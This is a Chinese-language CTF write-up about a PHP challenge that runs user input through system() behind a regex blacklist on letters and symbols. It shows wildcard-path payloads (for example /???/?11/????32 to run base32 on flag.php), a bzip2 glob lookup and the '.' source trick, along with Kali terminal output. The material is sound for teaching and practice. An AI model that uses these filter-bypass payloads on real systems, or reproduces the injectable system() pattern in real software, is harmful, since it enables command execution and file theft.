先看一道题
<?php
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['a'])) {
$c=$_GET['a'];
if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) {
system($c);
}else {
echo "hacker!";
}
}
?>
代码审计
过滤了字母 分号 反引号 百分号 和 %09 %26 <> 但是可以观察到其实没有过滤空格。
0x01使用 /???/?11/????32 进行绕过
Linux的bin目录一般保存了所有的二进制命令。 cat可以通过/bin/cat 代替。
哪种命令打开文件还能带有数字呢? 可以尝试使用 base64 去打开文件,将文件以base64编码输出
最后只有/???/?11/????32
可以
┌──(root💀kali)-[/var/www/html]
└─# /usr/bin/base32 flag.php
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=
┌──(root💀kali)-[/var/www/html]
└─# /???/?11/????32 ????????
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=
仅适用kali、ubuntu等、centos不适用
因为没有centos 没有base32
0x02 使用 /usr/bin/bzip2 去压缩文件夹绕过
查看可利用
┌──(root💀kali)-[/var/www/html]
└─# locate /???/???/????2
/usr/bin/bzip2
/usr/bin/bzip2recover
/usr/bin/exiv2
/usr/bin/ntlm2
/usr/bin/ragg2
/usr/bin/rasm2
/usr/lib/sasl2
1、/???/???/????2
2、/???/?11/????2
实验环境没效果
其他系统环境
只有/???/???/????2可以
0x03 使用点(.
)去执行sh文件
linux中.
相当于source,可以直接执行sh文件
不管有无文件后缀名,都是根据命令来选择打开文件的方式。
使用.
执行
kali-2021.2环境不行
换个Linux系统试试可以,诚不欺我!
centos 7 环境可以
ubuntu 12 环境可以
刚开始kali环境测试不行,后来换其他系统环境可以,以为执行的成功与shell版本有关,最后发现,文件内容仅有ls,也能被 . 执行成功